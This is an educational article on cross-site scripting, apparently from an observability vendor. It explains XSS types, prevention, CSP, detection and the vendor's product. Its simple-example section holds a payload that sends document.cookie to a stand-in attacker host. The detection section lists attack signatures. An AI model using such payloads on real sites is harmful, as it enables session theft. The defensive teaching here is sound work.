Cross-site scripting (XSS) is a web application vulnerability in which untrusted input is included in a page without proper encoding, so the browser executes it as script in the context of the vulnerable site. The attacker's code then runs with the victim's session and can read page content, perform actions or steal tokens. The main variants are reflected, stored and DOM-based XSS. XSS is listed as CWE-79 and is part of the Injection category in the OWASP Top 10 2021.
What is cross-site scripting?
Cross-site scripting (XSS) is an injection flaw in the browser. A web application takes data from a request, a database or the URL and writes it into HTML, an attribute or a script without encoding it for that context. If the data contains markup such as a <script> tag or an event handler, the browser cannot tell it apart from the site's own code and runs it. Because the code runs on the vulnerable origin, the same-origin policy does not protect the user: the script can read the page, call the site's APIs with the user's cookies and change what the user sees.
The name is historical. Early attacks loaded scripts across sites, but today the term covers any injection of active content into a page. XSS has been on every edition of the OWASP Top 10; since 2021 it is grouped with SQL injection and other flaws under A03 Injection. A well-known early example was the Samy worm, which spread across MySpace profiles in 2005 through stored XSS.
Types of XSS
| Type | Where the payload lives | Typical example |
|---|---|---|
| Reflected XSS | In the request, echoed back in the response | A search page prints the query parameter without encoding; the attacker sends the victim a crafted link. |
| Stored XSS | Saved on the server, served to every viewer | A comment, profile name or support ticket contains script that runs for each user, often including administrators. |
| DOM-based XSS | Only in the browser, in client-side code | JavaScript reads location.hash and writes it into innerHTML; the server never sees the payload. |
A related variant is blind XSS: a stored payload fires later in a back-office tool, such as an admin panel or log viewer, that the attacker cannot see directly. Payloads usually call back to an external server to confirm execution.
A simple example
<!-- vulnerable server-side template (pseudo code) -->
<p>Results for: {{ raw(query) }}</p>
<!-- request -->
/search?q=<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">
<!-- vulnerable client-side code -->
document.getElementById("msg").innerHTML = location.hash.slice(1);
In both cases the fix is the same idea: treat the value as text, not as markup. With proper encoding the browser displays <img ...> as characters instead of creating an element.
Impact
- Session and token theft: reading cookies that are not marked
HttpOnly, or tokens kept inlocalStorage. - Actions as the victim: the script can call the application's APIs with the victim's session, for example to change an email address, create an API key or transfer data.
- Credential phishing on a trusted domain: injecting a fake login form into the real site.
- Defacement and malware delivery: changing content or redirecting visitors.
- Admin takeover: stored or blind XSS that fires in an administrator's browser can lead to full control of the application.
Preventing XSS
- Context-aware output encoding: encode for the exact context, whether HTML body, attribute, JavaScript string, URL or CSS. HTML encoding alone does not make a value safe inside a script block or an
href. - Auto-escaping templates and frameworks: modern template engines and frameworks such as React, Angular and Vue escape by default. Most XSS in such code comes from escape hatches like
dangerouslySetInnerHTML,v-html,bypassSecurityTrustHtmlor a|safefilter. - Sanitize HTML you must accept: if users may submit rich text, run it through a maintained sanitizer such as DOMPurify with an allowlist, rather than writing your own regular expressions.
- Safe DOM APIs: prefer
textContentandsetAttributeoverinnerHTML,document.writeandeval. - Content Security Policy (CSP): a strict, nonce- or hash-based policy blocks inline scripts that were not issued by the server and limits where scripts can load from. Trusted Types, where supported, lock down dangerous DOM sinks.
- Cookie flags:
HttpOnlykeeps session cookies away from scripts, andSameSitereduces cross-site request abuse. They limit the damage, they do not fix the flaw. - Validate URLs: allow only
https:(and perhapsmailto:) in user-supplied links to rule outjavascript:URLs. - Test continuously: static analysis finds dangerous sinks, dependency checks find vulnerable libraries, and dynamic tests confirm what is exploitable.
Content-Security-Policy: default-src 'self';
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
report-to csp-endpoint
Common mistakes
- Filtering input with a blocklist such as removing
<script>. Attackers switch to event handlers, SVG, encodings or mixed case. - Encoding once at input time and then using the value in a different output context.
- A CSP with
'unsafe-inline'or broad host allowlists, which offers little protection against XSS. - Forgetting internal tools. Log viewers, ticket systems and admin dashboards render attacker-controlled data too.
- Outdated front-end libraries with known XSS issues, often listed as a CVE.
Detecting XSS attempts
Automated scanners and attackers probe public sites constantly. Typical traces in access and WAF logs are query parameters or form fields with <script, onerror=, javascript: or their URL-encoded forms. In the browser, CSP violation reports show blocked inline scripts or unexpected script sources, and sudden JavaScript errors after a content change can point to injected markup. A RASP agent or a WAF can block known patterns as an additional layer, but they complement correct encoding rather than replace it. In AI applications, a related problem is model output that contains HTML or links and is rendered without encoding, which links XSS to prompt injection.
XSS in single-page apps and APIs
Single-page applications move much of the rendering into the browser, so DOM-based XSS becomes more important than classic reflected XSS. Typical sinks are innerHTML, outerHTML, insertAdjacentHTML, eval, setTimeout with a string argument and dynamically built href or src attributes. JSON APIs are not immune either: an API that returns user content with the content type text/html, or a front end that inserts API fields as HTML, recreates the problem. Return JSON with application/json, set X-Content-Type-Options: nosniff and treat every field from an API as untrusted text until it is deliberately rendered.
The observability perspective
XSS lives at the border between server and browser, so it is visible only when both sides are observed. Server logs and traces show which endpoint delivered a payload and which stored record contained it. Browser telemetry shows what actually happened on the page: CSP reports, script errors and unexpected requests to foreign domains. Linking these signals helps teams tell harmless probing from a payload that really executed, find every page that renders the affected field, and confirm after a fix that the reports stop.
How Obseria helps
Obseria helps you find XSS weaknesses and see related activity; it does not block requests and is not a WAF. Static code analysis (SAST) searches your repositories for insecure patterns before release, and software composition analysis checks front-end and back-end libraries for known vulnerabilities. Runtime code analysis (IAST) reviews log lines and requests of the running application for weaknesses. Access and WAF logs, including requests that carry script payloads, can be searched in Security Investigator and Security Log Analytics, and real user monitoring shows errors in the browser by page and region. Blocking stays with your code, CSP, proxy or WAF.